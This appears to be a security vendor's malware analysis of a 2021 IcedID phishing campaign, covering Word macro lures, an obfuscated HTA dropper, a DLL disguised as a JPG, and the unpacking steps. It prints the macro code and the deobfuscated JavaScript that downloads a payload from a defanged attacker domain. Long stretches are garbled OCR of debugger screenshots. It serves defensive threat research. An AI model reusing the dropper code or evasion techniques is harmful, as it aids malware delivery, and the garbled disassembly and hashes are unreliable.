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Executive Summary

» SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500
artifacts associated with the attacks.

« |IcedID Office macro documents use multiple techniques in an attempt to bypass
detection.

 To further obfuscate the attack, data embedded in the document itself is used by the
malicious macro. Analyzing only the macro provides an incomplete view of the attack.

e The HTA dropper embedded in the document is obfuscated JavaScript, which executes
in memory and utilizes additional techniques to evade AV/EDR.

Overview

Many security researchers thought that IcedID would be the successor to Emotet after the
coordinated takedown of Emotet malware in early 2021 by law enforcement agencies. IcedID
(aka BokBot) was designed as a banking trojan targeting victims’ financial information and
acting as a dropper for other malware. Initially discovered in 2017, IcedID has become a
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prominent component in financially-driven cybercrime. The malware is primarily spread via
phishing emails typically containing Office file attachments. The files are embedded with
malicious macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread
phishing emails laced with poisoned MS Word attachments that use a simple but effective
technique to avoid suspicion. This ongoing IcedID campaign attempts to gain a foothold on
the victim’s machine through a crafted Word doc in which the embedded macro itself does
not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself.
In this case, that content includes obfuscated JavaScript code. This simple technique helps
to evade many automated static and dynamic analysis engines since the content’s malicious
behavior is dependent upon execution through an MS Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA)
fileto C:UsersPublic . The macro then employs Internet Explorer’s mshta.exe utility to
execute the HTA file. This second stage execution reaches out to the attacker’s C2 and
downloads a DLL file with a .jpg extension to the same Public folder. The HTA file calls

rund1132 to execute this payload, which serves to collect and exfiltrate user data to the
attacker’s C2.

Below we present further technical details of this recent campaign from examination of
almost 500 artifacts.

Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment.
As expected with these kinds of malware operations, opening the document prompts the
user to enable editing and then ‘Enable content’.

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content”

Targets are prompted to enable macros when opening the maldoc
What is unexpected is that the macro itself is uninteresting.
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vbaSuppData xmlns:wpc 1C / ic /2010 /wordprocessingCanvas
xmlns:cx="http://

xmlns:cx1="http: t

xmlns:mc="httf a ] i ) xmlns:o
xmlns:r="http e 0 & 0 lationships
xmlns:m="http

xmlns:wpl4="htty

xmlns

xmlns tt gml/2 wl4="http emas.mic % word/2010
xmlns:wlb

xmlns:wlése
xmlns:wpg="h ems ft f ) 0/word ingGroup
xmlns:wpi="t o= ice/word/ dpr ingInk
xmlns:wne="t 5 ft.com/offic
xmlns:wps="h /sc ft.com/office/y ingSt 2" mc:Ignorable
docEvents cOpen mcds mcd wne:macroName
wne:name wne:bEncrypt wne:cmg mcd wne:macroName
wne:name wne:bEncrypt wne:cmg mcd
wne:macroName wne:name wne:bEncrypt
wne:cmg

The VBA macros contained in the document
In this case, the malicious code is found within the document itself, reversed JavaScript that
is then base64 encoded.

¥« innerHTHL; var

Obfuscated code in the document.xml

The MS Word macro writes this code out as an HTA file to C:UsersPublic . While this
ensures success in terms of user permissions, arguably this is an operational mistake from
the attacker’s side in the sense that this folder is a location generally monitored by security
products.

The HTA code is executed by the macro using the GetObject() and Navigate()
functions. This behavior is a “VB Legacy” technique that conforms to how older Office macro
files behave.
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title = ActiveDocument.BuiltInDocumentProperties("title")

End Function

Function mainCountList ()

mainCountlList = ActiveDocument.BuiltInDocumentProperties ("subject”) & ""
End Function

Sub clearBorder()

Open title For Output As #1

Print #1, ActiveDocument.Range.Text

Close #1

On Error Resume Next

GetObject (mainCountList & "") .Navigate title

End Sub

Part of the VBA code embodied in the Word Document
Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes
two additional techniques in an attempt to evade AV/EDR security controls:

e The HTA file contains msscriptcontrol.scriptcontrol COM component, which is
used to execute interactively with JavaScript.

e The code calls JavaScript functions from VBScript code within the HTA. This technique
also confuses different code and activity tracking engines within certain endpoint
security products.

ChUsers\Public

o Mame Date modified

P Desktop 10/5/2020 1:30 PM
Libraries 10/1/2020 11:16 AR

‘ Public Account Pictures 10/1,/2020 11:18 AM

¢ Public Documents 10/1,/2020 11:12 AM HTA file dropped in the

¢ Public Downloads 9/15/2018 12:33 AM
Public Music 9/15/2018 12:33 AM
Public Pictures 9/15/2018 12:33 AM
Public Videos 9/15/2013 12:33 AM
desktop.ini 3/18/2019 9:49 PM

..r,'J pointerTrust.hta 69/ 2021 5:55 AM
Public folder

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.
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var memoryVb = new ActiveXObject("msxml2.xmlhttp");

memoryVb.open("GET",
"hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbq4kHp63r/qv2KrtCyxsQZG2qnnjAyyS2THOOANJ
sid=Kbgn&cid=yv1B12mDXC7d6A6q&gRqB5BwPw=3P3WdrE&uUser=Ma", false);

memoryVb.send();

if (memoryVb.status == 200) {

try {
var rightClass = new ActiveXObject("adodb.stream");
rightClass.open;
rightClass.type = 1;
rightClass.write(memoryVb.responsebody);
rightClass.savetofile("c:userspublicsizeTempStruct.jpg", 2);
rightClass.close;

} catch (e) {3}

}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and
authentication information for the request. If the URL responds with a status code of 200, the
code proceeds by downloading the remote file with a “.jpg” file extension. Unsurprisingly, the
file is not what it pretends to be.

Looking at related domains by the same actor shows the breadth of activity. When tracking
this campaign, the domain mappingmorrage[.]top had numerous duplicates of the “.jpg”
file and the second stage binary associated with this campaign. Multiple file names are used

LE 11 ”

such as “sizeQuery.jpg”, “sizeTempStruct.jpg”, “tmpSizelLocal.jpg” and so on.
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DETECTION DETAILS LINKS RELATIONS SUBMISSIONS COMMUNITY

Communicating Files

Scanned Detections Type Name

2021-06-01 29 /169 Win3z DLL 024bbfcfd483a0843d9bccfBc561aa7bdfd61be504a75boc7Bd0Be5B17dI 6764
2021-06-02 33769 Win3z DLL 05%c21104ac?18076918154d2895dc49db5beedae3cact2799ee3694c04%abl3
2021-05-28 311469 Win32 DLL sizeQuery,jpg

2021-05-31 40 1 69 Win32 DLL 99c140af4f02592ff6a485bb0a630230.virus

2021-05-28 23 169 Win32 DLL 0e709d7009836%9006b%a20c744c1e0947ceBf6c57dab4d 21953d7bd52d63%eeed
2021-05-31 35169 Win3z DLL Dal7ad40cafd75a6313ddd32dbblBaaffvirus

2021-06-01 43 1469 Win3z DLL 165b4c765019994d9e15252cf131d10d16d3a281101341d 28 1cafed 182e7ed 66
2021-05-31 30 /&8 Win32 DLL 179adbdddcs0f1eb7Ofc75f3e2ef97ddSchbdoled33e1d6f7425645c34fB6b2aa
2021-05-24 37 169 Win3z DLL 1a?4aBal3baf2f2142b%d24a47dd9bé6567c0addecalf3cdsdsB805c3ef7900655
2021-05-27 28 169 Win32 DLL stage_2.bin

2021-05-27 33769 Win32 DLL 93f2c02fcaBebac2dlecda2b3433dod2 virus

2021-06-01 42 1469 Win3z DLL 206dda3c0263bsfeee10ded5as101628705c36158214c2366de7afd16028833f
2021-06-03 36 162 Win32 DLL tmpSizelocaljpg

2021-05-24 36 1569 Win3z DLL 24f7aaf2bce7c87e0aBdfbsfdafbdrs26a37fea?4 6cdff9018cf655badcc74ec
2021-05-27 40 [ 66 Win3z DLL xiwas

2021-06-03 45 | 69 Win32 DLL sizeTempStruct.jpg

2021-05-30 39169 Win3z DLL 2deb152b97d7aaf?ba7129e7fedb59845535f856fcd6ff49bbe if0afc302f75d
2021-06-04 34 768 Win32 DLL 30f9féb1bée37477070d73bb64e95dfBae10b358a72c240ca3f2ccPe56992ec
2021-06-01 38169 Win32 DLL 412035e414b2Bda198cb263b6d2dBada513655504cfbd43588bas705f654b8ba
2021-06-01 40 7 69 Win3z DLL 4f2f98090025a6fcdcabbd650825c81ac29e5558e2eb5929f72e51c2c44:1d39
2021-05-27 33 /69 Win3z DLL fb&2e5582aa32791f0B2023f2d0979evirus

2021-05-30 40169 Win3z DLL 5ea?41db3f8d?d3c52b8947410440c0d7811395015693CB121766376dfCT 16D
2021-05-27 25 /48 Win32 DLL 40c9a714720d20331489027337d24451900e8860ef5064e7c0d348dd2a%d5832
2021-06-03 40 1 63 Win3z DLL 60ed8dbi?et004701d16051cbddsbdacicebd 763906difoc? f40ba106cBE1a3
2021-05-28 30 /48 Win32 DLL 633dB5eaeds0bfPblcsesDafe2e01f66fd3154547e5df6d0e7ed2d343fe553ce
2021-06-02 34 769 Win32 DLL 65e4801259470206baB5ccabd0B8f2060982b4e7070348731fa%b36caB13es3el
2021-05-28 28 169 Win3z DLL 682cBf43548fe7B4db54d229492e7167dfP4c79ed421boceabd4006b25dc0e8es
2021-05-24 38 169 Win32 DLL 68de02fsbf49besbBbeb7625ed55633b306649ea6048226f953c07 11f56aaeec
2021-05-24 34 169 Win3z DLL e62744911486e0b31da23cbd6392d219virus

2021-05-31 42 | 69 Win3z DLL 6d801b1357e290cf6f73bc1381339415de1f5b3b3ds576fa%ad Ddfcclaeeeadf
2021-05-28 30 /68 Win3z DLL 6de%aabBbid78c54d2bfBbf21001fb21a64d 3bb312cclaefbe 1764c4ed909055
2021-06-03 44 169 Win32 DLL textMemTmp.jpg

2021-06-03 45 169 Win32 DLL sizeTempStructjpg

2021-05-27 34 /1469 Win3z DLL payload_1.bin

2021-06-03 44 189 Win3z DLL tableWjpa

2021-05-28 30 749 Win3z DLL 7a429d9b2e%sdcf3d24057a3e345d1906fada148453e11b684 3509492600029
2021-05-28 38 169 Win3z DLL 7d195e64fal32a7829050af212dYccebBaroee 27 3f5777991840eb73b8ak121d
2021-05-31 40 1 69 Win3z DLL e%5c717e12b71752414b7 221821 7b5 1 virus

2021-05-24 36 169 Win3z DLL #1b4abcaesbee?2b?0bb97badeec0745f562ee9315230bcbb87bEBEB20a86CTe?
2021-05-31 42 167 Win32 DLL 1773beef6760af7aacbe0f5aldd73f26.virus

IcedID related files on VirusTotal

lcedID JPG/DLL

Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this
case, the “.jpg” file is actually a DLL. Analysis of the file’'s exports reveals the
DLLRegisterServer function, which is an obvious candidate for the initial installer of the
IcedID malware.
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file

settings about

pestudio-pro 9.07 - Malware Initial Assessment - wwaw.winitor.com [clusers\marco\desktophsizeteamstruct.dil]

Wl X H 9

=87 e\users\marco\desktop\sizeteamstruct.dil
i--adindicators (3.’22)

b]
i b dos- hEEdEl (64 bytes)
B dos-stub (144 bytes)

> file-header (May.2021)

- optional-header (Mative)

Bl directories (time-stamp)

> sections (97.56%)

strings (count)
debug (time-stamp)

overlay [unknown})

PE Studio

ordinal

[ R

location

Lext:0000000180...
Lext:0000000180...

name (5)

int _cdecl bivdcuao{void)
int cdecl ejepjrwgelvoid

duplicated (0) ardinal {0)

int cdecl miwjm{vaid) Hext:0000000180...
DllRegisterServer Hext:0000000180...
Plugininit text:0000000120...

gap (0)

farwarded (0}

To unpack this binary, we can load rundl1132.exe in xdbg64 and use the command line
option to specify the exported function in sizeTeamStruct.dll , as shown in the

screenshot below.

¥ rundli32.exe - PID: 2E9C - Module

o Trece P

File =

o

SON SNt wE| T

& cru | Log |1l MNotes ® Breakpoints
DD007FF8526EL10F

00007FF8526E10F9
00007FF8526E1100
00007FF8526E1107
D0D007FF8526E1109
00 F8526E110F
00007FF8526E1112
O0007FF8526E1115
DD007FF8526E1118
00007FFB526E111A
00007FF8526E111C
®| 000D7FF8526E1121
FF8526E1122
F8526E11
FF8526E1127
00007FF8526E112E
00007FF8526E1130
D0D007FF8526E1136
00007FF8526E1139

ie—

00007FF8526E1149
00007FF8526E1150
D0D007FF8526E1156
00007FF8526E1160

00007 FFoS’GELlaS
0O0D007FF8526E1187
00007FF8526E118D
000 _FFoS’GELlBD
000 26E1193
DD007FF8526E1196
00007FF8526E1198
D0007FF8526E119A
00007FF8526E119F
00007FF8526E11AS
00007FFB526E11A9
00007FF8526E11AD
00007FF8526E11AF
0D0D007FF8526E11B6
00007FF8526E118BB
D0007FF8526E11C0O
00007FF8526E11CH
D0D007FF8526E11CS
00007FF8526E11CD

007FF8526E11D1
F8526E11D6
FF8526E11DA
00007FF8526E11DE
00007FFB526E11E2
D0007FFB526E11E6G
0O0007FF8526E11EA
0O0007FF8526E11EE

O07FF8526E11F1

00007 FFoS’GEL’DD
00007FF8526E1203
D0007FFB8526E1206
00007FF8526E1209
0O0007FF8526E120B

Opf

<

2

<

&

<

<

5

s Help

izeteamstruct.dil - Thread: Main Thread 21F0 - x64dbg [Elevated]
Aug 16 2020

tl Wa=rZ 52 ar-N i

C 13
8BOS 59C70000

B& 01000000
3

56

48:83EC 30

333D 3GC?DDDD 0A
7C

SBDS 2AE7UDDD

EB FE

8B35 7BC60000
48:B1F6 CIIF5806
8935 6ECE&0000

8135 68C60000 CI9FS B

31C9

48:89F2

41:88 003200000
41:89 04000000
FF15 A1C60000
48: 8905 52C&0000
833D DFCe0000 04

S8BOD D3C6&0000
8D51 FF
OFAFDL1

83E2 01

74 02

EB FE

C64424 2F E3
8ADD S5BZE0Q0OO

4C:BDOD 4AZEQOO0
804424 2D 28
C06424 2D 04
8A4C24 2D
884C24 2E
41:BA4C51
884C24 2D
804424 2D 9F
8A4C24 2D

084C24 2E

8A4CZ24 ZF

304C24 2E

FE4424 2F

8A4C24 2E

880C10

833D 6CC60000 0A
7C 11

8BOD &0CE&0000

o1

i1 sizeteamstruct.7FF8526E111C

mov eax,dword ptr ds:[7FF8526ED868]
lea ecx,qgword ptr ds:[rax-1]

imul ecx,eax

and ecx,1

je sizeteamstruct.7FF8526E111C

jmp sizeteamstruct.7FFB526E111A

mov eax,l
met i
push rsi

sub rsp,30
cmp dword ptr ds:[7FF8526ED86G4],A
il sizeteamstruct.?FF8526E1143

mov eax,dword ptr ds:[7FF8526EDBE0]
lea ecx,gword ptr ds:[rax-1]

imul ecx,eax

and ecx, 2

je sizeteamstruct.7FF8526E1143

jmp sizeteamstruct.7FF8526E1141
mov esi,dword ptr ds:[7FF8526ED7C4]
xor rsi,6589FC9

mov dword ptr ds:[7FF8526ED7C4],es1
xor dword ptr ds:[7FF8526ED7CS8],6559FC2
XOr &CX,ecx

mov rdx,rsi

mav rad BUUU

mov_r o

call qword ptr ds:[7FFB526ED818]
mov gword ptr 7FF8526ED7DO] ,rax
cmp dword ptr ds:[7FF8526EDBG4],A
j1 sizeteamstruct.7FF8526E119A

mov ecx,dword ptr ds:[7FF8526ED860]
lea edx,qgword ptr ds:[rcx-1]

imul edx,ecx

and edx,1

je sizeteamstruct.7FF8526E119A

jmp sizeteamstruct.7FF8526E1198
mov byte ptr ss:[rsp+2Fl,E3

mov cl,byte ptr ds:[7FF8526E4000]
mov byte ptr ss:|[frsp+zoff,cl

lea rad,qgword ptr ds:[rsi-1]

xor edx,edx

lea r9,qword ptr ds: [7FF8526E4000]
add byte ptr ss:|[frsp+zpf,2

rax:EntryPoint
A:'\n’

shl byte ptr ss:|frsp+zpf), 4
mov cl,byte ptr ss:{rsp+2Dfil
mov byte ptr ss:[frsp+2ell,c]|

|@® Change Command Line

x

mov cl,byte ptr ds:[r9+rdx?

mov byte ptr ss:|[frsp+2z0],cl |32\[undll32.exe"C:VJsers\Ma)'m\Demwp

uct.dll”, DlIRegisterServer |

add byte ptr ss:|irsp+zDJJ, 3§
ov cl,byte ptr ss:|irsp+zDJlf
or byte ptr ss:fBrsp+zef,cl

o omer |

mov cl,byte ptr ss:[rsp+2F
xor byte ptr ss:grsp-rZE],c'l

inc byte ptr ss:frsp+2F])

mov c¢l1,byte ptr ;a.[rsp+7E}

mov : [rax+rdx],c

cmp H [7FFSEZEEDEE4] A A:'\n'
il sizeteamstruct.?FFsszEEleB

mov ecx,dword ptr ds:[7FF8526EDB60]

lea esi ,qwurd ptr ds:[rcx-1]

imul esi,ecx

and esi,l

jne 51ZEIEEI7|5IFLICI 7FFB526E121E

cmp r&d,edx

Loading fundll + DLL with the exported function

[ Memory Map [}/ call Stack =3 SEH Je3| Seript & Symbols <2 Source 2~ References 'S Threads & Handles Trace
cmp edx,1 EntryPoint
jne sizeteamstruct.7FF8526E1100
48: 8300 EOC&0000 mov qgword ptr ds: [7FF8526ED7E0Q] ,rcx
833D 65C70000 DA cmp dword ptr ds:[7FF8526EDB6C] A LA ]
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To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute
the run command until the breakpoint is hit. We want to look for the call that is responsible
for allocating memory in the address space and dump the binary from the address location.

| 00007 FFasEGECCAD
| 00007FF85EBECCAS
. FFA5EGECCAD
00007 A
00007

00007

0000;
00007

| ooooz

FF

e

o 0ooo7FEssE

000

000

0

000
00007

0000

00007

00007

000
00007
00007
0000

00007

0
o] oocore

00007 FF 85 E6C]
200 r-sz:rcmn

EEBSE

£r

30007 FF B3 EEECCRE
00007 FE85EGECCE
00007FFBSEGECCEE

00007 FF 85 E66CCDD
e fre el

07
00007 | FFDS E(GCCED

00007EESSEGECCES
00007 FEB5EGECCFD
Fa5E.

502
00007 FFE5EGECDD4
00007 FF 85 E66CD0
00007 FF85E66CD07
00007 FE 85 El

00007 FF85E6ECD03
00007 £E 85 £CECD0A

00007 FF a5 c6echoc
00007 FE 85 EGECDOD
DoE

FFESEGECDOF
00007 FE 85 E6ECO10
7EEssEeacnis

+| 00007 Fr e ccecnzs
00007 FF 55 E6ECD

30007 FF S3EECD3
00007 FF 85 E66CD3C
FESEGECD40
00007 eesse

00007 FFDS E<ccn4s
Fo:

EasEeecos 6
00007 FF 85 ECECDE 9
00007 rmszwcnss

Dos

ub rsp,zs
mov aword ptr
mov_aword pi
Test rox,rex
3e kernelbase.7rF8sEsscce
mov eax,

cmp rex,
§o kernelbase. TrEBsEGBAAC

ssiffrspragl,rdx

E
Tea r’%ﬂwur‘d D(r' ss:[rsa 43
xor rad,
Tea rdx,qwnr‘d ptr ss'[rspo4n]
lea rcx,qword ptr ds

< kerneibase.7EFssEceccER

mov rax,gword ptr ss:[rsp+40ll
add rsp,3s
ret

mov_ecx, eax
€all kernelbase.7FFESEGIECDO
xor eax,eax

jmp_kernelbase. 7FF8sEGeCCES
intz

mov qword ptr ss:frsprall rbx
: B spr1oll, rdi

mov_rbx,rc

test rad.red

AT
ds: [roxt2]

11]

162 rsdrdverd B EIHESL
cmp rod,1s

Tea [r10+20]
Tea ecx,qword ptr ds: [rdx-41]

cmova_eax,r10d
Tea rad,avord ptr
cmp e

cmova rEd.tdx
sub =

52 kernilnase. 7rrascescoss
Test eax,eax

je kerneibase.7FFeseeecnea
cmp_eax,r&

Je kernelbase. 7FFesEe6cn2E
Sub eax,rs

mov rbx,aword ptr ss:[f
mov rdi,qword ptr ss:

d
d

eax,aword ptr ds:
d

s: [rdx+20]

r ds: [7FFasE878098]

virtualalloc

StrempNIEw

Mz

rbx: "Mzl
rbx: "MZEE"

Hide FPU
RAX  DODOD1E1ECA20000

RBX  00D07FFE93D30000 Nz

RCX  00DO7FFE6099C374 ntd11.00007FF8E
RDX  00D0D0OOD0DO00DO

REP  00D00D10BA27F520

BSE  0ODDDD1OBA27F4DS

RSI  00D07FF&526E3008 TIRegisterser
RDI  00D00010BA27F500

RE  0OD0OD1OBA27F498
R 00D00010BA27F520

eI Aol

R10  00DODDOODODOD0DO
R11  00D00DO000DO0Z46 Le!

R1Z  0ODODIE1GCSZCOAD "Ciy\Users\y
R13  0ODDO1BLECALODED

R14  000000000000000O

R1S  0O0D001B16CA10000 “Mze"

RIP  00DO7FFESEGECCFA kernelbase. 0000
RFLAGS
zZF 0

OF 0 SF O DF 0
CFo TF1 IF1

0000000000000304
1 AF 0

Lasterror 00000000 (ERROR_SUCCESS)
Laststatus CO000034 (STATUS_DBIECT_NAME_NO

Gs 0028 Fs 0053
ES 0028 D5 0028
€5 0033 S5 0028

ST(0) 0000000000OODODOD00O X87r0 EmMPTy
ST(1) 00000000000000000000 X87r1 EMDTY
ST(2) 00000000000ODODOD00O X87r2 EmPTy
5T(3) 0000D0OOOOOADONOD00O XB7r3 Empty
ST(#) 000000000CDCD0000000 X87rd EMPTY
ST(s) 00000000000ODODOD00O X87rS EmMPTy
ST(6) 0000000000DODONONCN0 XB7r& Empty
ST(7) 00000000OOOODONOD00O X87r7 EMPT

coocoooo

X87Tagword FFFF
X87TW_1 3 (Empty)
x87TW_3 3 (Empty)
X87TW_5 3 (Empty)
X87TW_6 3 (Empry) X&7TW_7 3 (EmpTy)
x87Statusword 0000
X87SW_ B O X875WC3 0
X87SWCL O XS7SWCO O
XRTSW SF 0 xR7SW P 0

X875W_C2 O
X87SH_ES O
XR7W U 0

Default (st fasteall)

. LeXT:D0D07FFESEGECCFA

kernelbase.d11: $5CCFA #5COFA

44y Dump 1

&4 Dump 2

W4 Dump 3

W Dump 4

W4y Dump 5

Address

000001B16CA10000 | 4D

00D0D1E16CAL0010
000001B16CA10020
000001B16CAL10030
0000D1E16CAL0040
000001B16CA10050
D0D0D1E16CALO060

A 90 0003
00

000001B16CAL0070 (S0 GF

000001E16CAL0080
00D0D1E16CAL0030
000001B16CA100A0
DOD0D1E1ECALO0ED

o
000001B16CAL00C0 |5
000001E16CALO0D0 | D

D0D0D1E1ECALODED
000001B16CAL00F0

00D0D1E16CAL0100 | D

000001B16CA10110

50
00

0
00

000001B16CAL0120 | D6

DOD0DIE1ECAL01Z0
000001B16CA10140
00D0D1E16CAL0150
000001B16CA10160

00
00
00
00

000001B16CA10170 | EC

D0D0D1E16CALO1E0
DODO1B16CALD150
00D0D1E16CA:

D00001616CAL01E0
000001B16CAL101CO

00
00

00
20

i

00 00f00
00 0oloo

00

03 00
0 00
00 00
00 00
21 88
1 e
20 63
21 00
61 AD
03 c6
87 Cs
87 ca
00 00
00 00
bC AE
08 0z
40 10
00 10
06 00
00 00
00 10
00 10
80 1%
00 00
00 00
00 00
00 00
00 00
00 40

Unpacked IcedID
Looking at the dumped binary in PE Studio what catches the attention are the

00
00
00

FF
o0
0
E0
=1
61
a1
0
&1
€A
8
&
0
o0
o0
0

o
0

a0

Erre
8388

o
5

w_wwwwwwmuqiﬁ‘m-ﬁﬁ:i

o
2

is pr
t be

Boia
LIiTh
ogram canno
run in DOS
il o
2 EIERT E
clALEK LG
JER O
2k

WinHttpOpenRequest
functions.

unununms.,

00000010EAZ:
<

r‘dx 0000009009000
0EA27F438 "BITAO\XTF"

73 900000108A27F220

[rsp+z8] 0000000000000246

00007 FF 85 26E1747|
0000001000003000)

000001516¢A20000)
0000000000058000)
0000000040000001
0000000000000000|
0000000000000246|

000000100000000|
0100000050000000

eturn to

178A from 777

FEEUMN To 0000018160A20000 Trom 277

FETUrn to SiZeTeanstruct.00007FFS526EL747 from sizeteamstr

000001B816C82C L1

001
FFFFFFFFFFFFEFFF)

000000000007038A
000001B816C82C0A0)
000000000000000A
0000000000000000)|

"\

000000080000000
00007 FF 693033 5C
0000000000170A51
0000000000010003|
0000000000000006|
0000000000000000
000000108277 6C0|
0000000000000000)
Loooooo0oooo70984f

& [00007FFE99D33BCF
0000000000000000|

000000000007098A

- iy

rundiisz.

\\Users\\Mar co\\Desktop\\sizeteanstruct. dl

00007 FF8526E10E6| return to Sizeteanstruct.00007FFES26ELOEE from sizeteamstr

o
3| return to rund1132.00007FFEI9D33ECH From rundl132.00007FFE

Feturn to rundl132.00007FFE9SD33ECE from 777

wWinHttpSendRequest , and WinHttpReceiveResponse

The winHttpOpenRequest creates an HTTP request handle and stores the specified
parameters in that handle, while winHttpSendRequest sends the specified request to the
C2 server and the winHttpReceiveResponse waits to receive the response.
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=05 chusers\marco'\desktophicedid\packed_icedid.bi
----- A indicators (4/34)

m mitre (2/2)

..... pY virustotal (error)

----- I+ dos-header (64 bytes)
B8 dos-stub (160 bytes)

..... = file-header (Apr.2021)
..... = optional-header (GUI)
----- FH directories (time-stamp)
zections (blacklist)
libraries (1/G)

| imports (15/42)

- % exports (duplicated)

..... F exceptions (17)

..... =@ tlz-callbacks (n/a)

=

el

..... abc strings (19/184)
--{T¥ debug (n/a)
..... H manifest (n,/a)
-[L0] version (n/a)
certificate (n/a)

----- [ overlay (n/a)

Studio with the unpacked IcedID

name (4]

GetllserMamed
GetTickCountfd
LookupAccountMameW

WinHttpOpen
WinHttpCQueryHeaders

WinHttpReadData
WinHttpReceiveResponse
WinHttpSetOption
WinHttpCloseHandle
WinHttpSendRequest
WinHttpSetStatus Callback
WinHttpConnect
WinHttpOueryDatawvaila...
WinHttpOueryOption
WinHttpOpenRequest
Virtual&lloc

VirtualProtect

GetProcessHeap
Heaphlloc
HeapRedllloc
HeapFree
memset

MEmcpy
SHGetFolderPathd
CreateDirectoryd
GetTernpPathd
WriteFile
CreateFiled
SwitchTaThread

Sleep

group (3]

security

CreateThread
ExitProcess
GetProcAddress
LoadLibraryA
GetlastError
wsprintfA,
wsprintfy

GetComputerMameExd

Istrepy
Istrcatdy

GetComputerMamebx W

CloseHandle

dynamic-library
dynamic-library

==t | =k = =l

-

-
m

After loading the binary into xdbg64, we add the breakpoint on winHttpOpenRequest .

When this breakpoint is hit, we can see from the disassembly that the code is generating the

domain through an xoring operation. This helps us to understand how the C2 value is
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generated.

= o oy 715,750 .

« [0oo0rPPasersssEs o rop q oo b,
. bush FEAT
. B A3 j[ca b, anoedint o se Rk ] FA78
. 33010000 | zus repiig
. 85130800 OV rax,qword ptr ds:[7FFE53038180] 0000

2 $gropl, ra _gat-10.0.18363.64; FB30 &L "mappingmorrage. top

ES [ri1- n] rbx
. E0 s: [r11-20],rdi = -
. 4338 packed_icedid. 0000000180004
: 0s o uota per azi[raizo), F11-28:"cccanas”, F12:87 KEROVKTET

BC270B00 cmp byte ptr ds [7Frx§zuzm}n4]vswl 0000 = =
. 2 v riz,rdx riz:&" KoRe\X7F", rdx:L"GET" 2 5
. Sevooomo |y roxiqmecd per ceilroenacl Fo20 L"mappingmorrage. top
: 5 56 oV quord prr Gor[rid no o R S Fe10 L"mappingmorrage. top"
H H oV Fizors .
. c8 mov gword ptr ds:[rii-3s8],ris4 " = g g

3 ov 113, rcx roxia” KERO\XTF" F450 &" KORe\X7F
. 80000000 mov rcx,guord ss:[frbp+sof L
. 0V quord prr ds: [r11-40],ris FFDF8
. 90000000 me nsnanwnrd ptr ss 508
. o ov quord per 5o
. 431894424 60 mov qword ptr ss 0000
5: 95424 70 Tov quord per <o L
. 397c24 58 mou dhord ber 22 Tt
. HiTE Tov aword per +o
. 8970 90 mov gword ptr ss: L"mappingmorrage. top"
. i mo uard ptr £ LastErrar 00000000 (ERROR_SUCCESS)
. 48:897424 78 mov gword ss: LastStatus 00000000 (STATUS_SUCCESS)
- OFss E3010000 Je winnceo 7rrassrearco

oFse0s co2e0a00
A

« oFbs Da020000

3975 98
~ OF85 84590300
33c0

FaszFassE2

Tea rdi,quord ptr ss

Tea rot quord per ot i

st ris,rid
& Drsa 28590300 1= winnctp. 7eFesaras

. 605 F7260800 01 Lot Oe bt oc: (rersssosmoaa],
- bFss 3555030 ne mnnun.nmszrszra

. BA 57636064 mov edx, 64606957

. E mov rex,r14

49: 8¢ mov rdi,ria

. Es 3FEFFFFF winhttp.7FFE52F8s5A0

. 85¢0 est cax,cax
- OS5 40590300 e winnttp. 7FFas2raErAS

. mov_rox,r

. Ea EF]FDDDD call w‘nn((DJFFBSZFBBBEn

0
,byte ptr ds:[7FF853038D3A]
1

~ OF8s 5C590300 Ine winhtep. 7FFas2raErDE
. & est_ebx, ebx
~ OF85 74590300 jhe winntp. 7FFasarREFFE
. 3302 r edx, edx
. 48:897C24 78 v _aword ptr s +75ll, rdi
. F605 AAZ60800 01 test byte pr_ds: [7FF853038D42],1
- oFss 76530300 ine winhttp.7FFas3FaFOLL
4s:85 T rdi,rdi

p.7FF852E897B1
ptr_ssifrbp-csl,esi
tp.7FFaSIFEFO3L

or
Tea rbx,quord per ds:[rdj+ss]
me

pTr U.frbp sn} rax

AR

prr ssiBro ol six

as: mov gword ptr ts:[rbp-30f,rax
B9 10000000 mov ecx, 10
F3: rep stosh

mov quord ptr ss:[rip-2s],rax

o
Tea rdi,quord per_ss:lrbp sol

rex1a” KeRO\X7]
761 &L mappingnorr age. top”

rOXI&" KORO\XTF

rdi:aL mappingmorrage. top”

[rbp-50]

"ENGRO\XT!

[rbp-50]

ENCRO\ X

G5 0025 FS 0053
E5 0028 DS 0028
€5 0033 55 0028

xs7Tagnord FFFF

XE7TTWO 3 (Empty) x87TW_L 3 (Empty)
xETTW 2 3 (Empty) x87TW 3 3 (Empty)
XE7TW$ 3 (Empty)  XS7TWS 3 (Empry)
x87TW6 3 (Empty)  X87TW.7 3 (EmpEy)
xg7Statusword 0000

CE 0 X87SW.CI O X8TSWCZ O
XE7TSW.CL 0 XB7SW.CO 0 XB7SW_ES O
XETSWSF O X8TSWP O X87SW U O
XE7SWO O X87SWZ 0 x5 0
XE7SW_I 0 X87SW_TOP 0 (STO=x87r0)
<

Default (x64 fasteall)

ST(0) 0000DDD00B0000000O00 X87r0 Empty 0.000000000000D00000
ST(1) 0000DDDOOODODODDDODO X87rl EmpTy 0.00DODODODODODODO0O
ST(2) 0000DDDOOBD0DODODODO X87r2 EmpTy 0.00DODODOOODODODO0O
ST(3) 000000D000000000000O0 X873 EMPTY 0.000000000000000000
ST(4) 0000000000000000000O0 XS7r4 EMPTY 0.000000000000000000
ST(5) 000000D000000000000O0 X87r5 EMPTY 0.000000000000000000
ST(6) 000000D000000000000O X87r6 EMPTY 0.000000000000000000
ST(7) 00000000000000000000 X87r7 EMPEY 0.000000000000000000

>
[5 [0 unloct

TOX D000023733CORAED & KORGKTE
rdx 000000018001

9 0000000000000
[Fepe2s] 0000000000000000

ge. top

winhttp. d11: 529580 #28980 <WiNHTTPOPErRequests

Woumpt | @oumpz  @Moump3  @oump+  @Houmps @ watch1

=] Locals

P struct

000000AS?

faaa

{gdress Hex. AscIr

>

